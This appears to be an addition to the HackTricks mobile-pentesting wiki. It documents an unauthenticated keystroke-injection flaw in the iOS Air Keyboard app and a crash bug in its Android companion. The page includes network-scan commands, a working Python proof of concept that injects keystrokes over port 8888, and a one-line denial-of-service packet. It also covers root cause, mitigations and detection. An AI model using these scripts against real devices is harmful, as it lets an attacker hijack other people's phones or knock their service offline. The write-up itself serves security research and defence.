Add content from: Remote Input Injection Vulnerability in Air Keyboard iOS App...

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HackTricks News Bot 2025-07-17 12:42:43 +00:00
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- [Webview Attacks](mobile-pentesting/android-app-pentesting/webview-attacks.md)
- [iOS Pentesting Checklist](mobile-pentesting/ios-pentesting-checklist.md)
- [iOS Pentesting](mobile-pentesting/ios-pentesting/README.md)
- [Air Keyboard Remote Input Injection](mobile-pentesting/ios-pentesting/air-keyboard-remote-input-injection.md)
- [iOS App Extensions](mobile-pentesting/ios-pentesting/ios-app-extensions.md)
- [iOS Basics](mobile-pentesting/ios-pentesting/ios-basics.md)
- [iOS Basic Testing Operations](mobile-pentesting/ios-pentesting/basic-ios-testing-operations.md)

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java -jar uber-apk-signer.jar -a merged.apk --allowResign -o merged_signed
```
## Case Studies & Vulnerabilities
{{#ref}}
../ios-pentesting/air-keyboard-remote-input-injection.md
{{#endref}}
## Static Analysis
First of all, for analysing an APK you should **take a look to the to the Java code** using a decompiler.\

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otool -L <application_path>
```
## Interesting Vulnerabilities & Case Studies
{{#ref}}
air-keyboard-remote-input-injection.md
{{#endref}}
## **References & More Resources**
- [https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering](https://mobile-security.gitbook.io/mobile-security-testing-guide/ios-testing-guide/0x06b-basic-security-testing#information-gathering)

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# Air Keyboard Remote Input Injection (Unauthenticated TCP Listener)
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## TL;DR
The iOS version of the commercial "Air Keyboard" application (App Store ID 6463187929) opens a **clear-text TCP service on port 8888** that accepts keystroke frames **without any authentication**.
Any device on the same Wi-Fi network can connect to that port and inject arbitrary keyboard input into the victims phone, achieving **full remote interaction hijacking**.
A companion Android build listens on **port 55535**. It performs a weak AES-ECB handshake, but crafted garbage causes an **unhandled exception in the OpenSSL decryption routine**, crashing the background service (**DoS**).
## 1. Service Discovery
Scan the local network and look for the two fixed ports used by the apps:
```bash
# iOS (input-injection)
nmap -p 8888 --open 192.168.1.0/24
# Android (weakly-authenticated service)
nmap -p 55535 --open 192.168.1.0/24
```
On Android handsets you can identify the responsible package locally:
```bash
adb shell netstat -tulpn | grep 55535 # no root required on emulator
# rooted device / Termux
netstat -tulpn | grep LISTEN
ls -l /proc/<PID>/cmdline # map PID → package name
```
## 2. Frame Format (iOS)
The binary reveals the following parsing logic inside the `handleInputFrame()` routine:
```
[length (2 bytes little-endian)]
[device_id (1 byte)]
[payload ASCII keystrokes]
```
The declared length includes the `device_id` byte **but not** the two-byte header itself.
## 3. Exploitation PoC
```python
#!/usr/bin/env python3
"""Inject arbitrary keystrokes into Air Keyboard for iOS"""
import socket, sys
target_ip = sys.argv[1] # e.g. 192.168.1.50
keystrokes = b"open -a Calculator\n" # payload visible to the user
frame = bytes([(len(keystrokes)+1) & 0xff, (len(keystrokes)+1) >> 8])
frame += b"\x01" # device_id = 1 (hard-coded)
frame += keystrokes
with socket.create_connection((target_ip, 8888)) as s:
s.sendall(frame)
print("Injected", keystrokes)
```
Any printable ASCII (including `\n`, `\r`, special keys, etc.) can be sent, effectively granting the attacker the same power as physical user input: launching apps, sending IMs, visiting phishing URLs, etc.
## 4. Android Companion Denial-of-Service
The Android port (55535) expects a 4-character password encrypted with a **hard-coded AES-128-ECB key** followed by a random nonce. Parsing errors bubble up to `AES_decrypt()` and are not caught, terminating the listener thread. A single malformed packet is therefore enough to keep legitimate users disconnected until the process is relaunched.
```python
import socket
socket.create_connection((victim, 55535)).send(b"A"*32) # minimal DoS
```
## 5. Root Cause
1. **No origin / integrity checks** on incoming frames (iOS).
2. **Cryptographic misuse** (static key, ECB, missing length validation) and **lack of exception handling** (Android).
## 6. Mitigations & Hardening Ideas
* Never expose unauthenticated services on a mobile handset.
* Derive per-device secrets during onboarding and verify them before processing input.
* Bind the listener to `127.0.0.1` and use a mutually authenticated, encrypted transport (e.g., TLS, Noise) for remote control.
* Detect unexpected open ports during mobile security reviews (`netstat`, `lsof`, `frida-trace` on `socket()` etc.).
* As an end-user: uninstall Air Keyboard or use it only on trusted, isolated Wi-Fi networks.
## Detection Cheat-Sheet (Pentesters)
```bash
# Quick one-liner to locate vulnerable devices in a /24
nmap -n -p 8888,55535 --open 192.168.1.0/24 -oG - | awk '/Ports/{print $2,$3,$4}'
# Inspect running sockets on a connected Android target
adb shell "for p in $(lsof -PiTCP -sTCP:LISTEN -n -t); do echo -n \"$p → "; cat /proc/$p/cmdline; done"
```
## References
- [Remote Input Injection Vulnerability in Air Keyboard iOS App Still Unpatched](https://www.mobile-hacker.com/2025/07/17/remote-input-injection-vulnerability-in-air-keyboard-ios-app-still-unpatched/)
- [CXSecurity advisory WLB-2025060015](https://cxsecurity.com/issue/WLB-2025060015)
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